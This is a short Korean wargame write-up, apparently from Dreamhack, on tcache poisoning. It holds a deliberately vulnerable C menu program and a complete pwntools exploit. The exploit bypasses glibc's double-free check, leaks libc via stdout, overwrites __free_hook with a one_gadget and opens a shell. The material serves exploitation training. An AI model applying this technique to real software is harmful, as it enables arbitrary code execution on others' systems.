Tcache Poisoning

 

주어진 c 코드는 다음과 같다.

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

 

 

 

작성한 익스플로잇 코드는 다음과 같다.

# Name: tcache_poison.py
#!/usr/bin/python3

from pwn import *

p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
    p.sendlineafter("Edit\n", "1")
    p.sendlineafter(":", str(size))
    p.sendafter(":", data)
def free():
    p.sendlineafter("Edit\n", "2")
def print_chunk():
    p.sendlineafter("Edit\n", "3")
def edit(data):
    p.sendlineafter("Edit\n", "4")
    p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()

# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()

# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))

# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8)          # "dreamhack"
alloc(0x30, "\x60")         # stdout

# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432

slog("free_hook", fh)
slog("one_gadget", og)

# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()

alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))

# Call `free()` to get shell
free()

p.interactive()

성공적으로 플래그 획득 !

 

복사했습니다!